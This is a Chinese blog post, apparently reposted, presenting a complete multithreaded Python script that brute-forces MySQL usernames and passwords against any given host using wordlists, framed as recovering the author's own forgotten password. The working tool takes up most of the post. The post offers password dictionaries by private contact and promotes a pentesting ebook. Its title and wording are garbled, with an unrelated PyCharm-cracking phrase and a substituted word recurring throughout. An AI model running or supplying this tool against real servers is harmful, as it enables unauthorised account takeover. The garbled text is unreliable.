Hi,大家好,我是编程小6,很荣幸遇见你,我把这些年在开发过程中遇到的问题或想法写出来,今天说一说
python激活成功教程教程_pycharm软件,希望能够帮助你!!!。
大家好,我是冰河~~
最近有很多小伙伴问我:冰河,咋感觉你啥都会呀?Java、Python、大数据、分布式、微服务、系统架构、运维、渗透,请问你平时是怎么学习的呢?我:个人觉得最好的学习方法就是,在平时的工作过程中,遇到问题多总结,注意积累解决问题的方案,及时查漏补缺,逐渐形成一套自己的方法论。
要知道,每项知识、技能的积累,需要的是日复一日的坚持,正所谓——持之以恒,贵在坚持,这样才能做到每天进步一点点。
小伙伴们如果觉得文章不错,点赞、收藏、评论,分享走一起呀,记得给冰河来个一键三连~~
好了,进入今天的主题吧,今天下班回到家想登录下MySQL数据库,不巧的是,忘记了MySQL数据库的用户和密码了,怎么办?使用安全模式登录?我想这么常规的方式应该大家都会吧!今天,就来点不一样的吧,那就是使用Python写个爆破MySQL的工具,看能不能爆破出MySQL的用户和密码。
小伙伴们如果觉得文章不错,点赞、收藏、评论,分享走一起呀,记得给冰河来个一键三连~~
好了,咱们说干就干,开始吧。
这次编写的爆破MySQL的Python脚本使用了Python中的多线程编程,并且导入了MySQLdb模块。运行时,脚本分别接收如下五个参数:
相对来说,还是比较简单的,下面就给出完整的脚本代码吧。
#!/usr/bin/env python # -*- coding: gbk -*- # -*- coding: utf-8 -*- # Date: 2021/06/30 # Created by 冰河 # Description MySQL暴力激活成功教程工具多线程版 import os, sys, re, socket, time from functools import partial from multiprocessing.dummy import Pool as ThreadPool try: import MySQLdb except ImportError: print '\n[!] MySQLdb模块导入错误,请到下面网址下载:' print '[!] http://www.codegood.com/archives/129' exit() def usage(): print '+' + '-' * 50 + '+' print '\t Python MySQL暴力激活成功教程工具多线程版' print '\t 微信公众号:冰河技术' print '\t\t Code BY: 冰河' print '\t\t Time:2021-06-30' print '+' + '-' * 50 + '+' if len(sys.argv) != 6: print "用法: " + os.path.basename(sys.argv[0]) + " 待激活成功教程的ip/domain 端口 数据库 用户名列表 密码列表" print "实例: " + os.path.basename(sys.argv[0]) + " 127.0.0.1 3306 test user.txt pass.txt" sys.exit() def mysql_brute(user, password): "mysql数据库激活成功教程函数" db = None try: # print "user:", user, "password:", password db = MySQLdb.connect(host=host, user=user, passwd=password, db=sys.argv[3], port=int(sys.argv[2])) # print '[+] 激活成功教程成功:', user, password result.append('用户名:' + user + "\t密码:" + password) except KeyboardInterrupt: print '已成功退出程序!' exit() except MySQLdb.Error, msg: print '程序出错,错误信息为:', msg pass finally: if db: db.close() if __name__ == '__main__': usage() start_time = time.time() if re.match(r'\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}', sys.argv[1]): host = sys.argv[1] else: host = socket.gethostbyname(sys.argv[1]) userlist = [i.rstrip() for i in open(sys.argv[4])] passlist = [j.rstrip() for j in open(sys.argv[5])] print '\n[+] 目 标:%s \n' % sys.argv[1] print '[+] 用户名:%d 条\n' % len(userlist) print '[+] 密 码:%d 条\n' % len(passlist) print '[!] 密码激活成功教程中,请稍候……\n' result = [] for user in userlist: partial_user = partial(mysql_brute, user) pool = ThreadPool(10) pool.map(partial_user, passlist) pool.close() pool.join() if len(result) != 0: print '[+] MySQL密码激活成功教程成功!\n' for x in {
}.fromkeys(result).keys(): print x + '\n' else: print '[-] MySQL密码激活成功教程失败!\n' print '[+] 激活成功教程完成,用时: %d 秒' % (time.time() - start_time)
脚本编写完成后,运行,等待了一段时间,将我的MySQL的用户和密码完美的激活成功教程出来了。
这里需要注意的是:能不能激活成功教程出MySQL的用户和密码,那要看你的爆破字典是否足够强大了,说直白点,就是你的user.txt文件中的用户和password.txt文件中的密码是否足够齐全。
如果你想获取一个相对来说比较强大的爆破密码的字典文件,可以加我微信:sun_shine_lyz私聊获取。并且我自己也写了一个根据输入的位数生成密码字典的程序,大家也可以私聊我获取。
这次,也给大家推荐一些关注渗透方面的书籍吧。
首先,就是我最近写的这本《冰河的渗透实战笔记》,一本很不错的渗透实战电子书,绝大部分来源于冰河多年的渗透实战笔记。
下载地址:https://download.csdn.net/download/l/
另外,再推荐两本,我之前深入研究过的并且很不错的书籍。
如果你想进大厂,想升职加薪,或者对自己现有的工作比较迷茫,都可以私信我交流,希望我的一些经历能够帮助到大家~~
推荐阅读:
好了,今天就到这儿吧,小伙伴们点赞、收藏、评论,一键三连走起呀,我是冰河,我们下期见~~
今天的分享到此就结束了,感谢您的阅读,如果确实帮到您,您可以动动手指转发给其他人。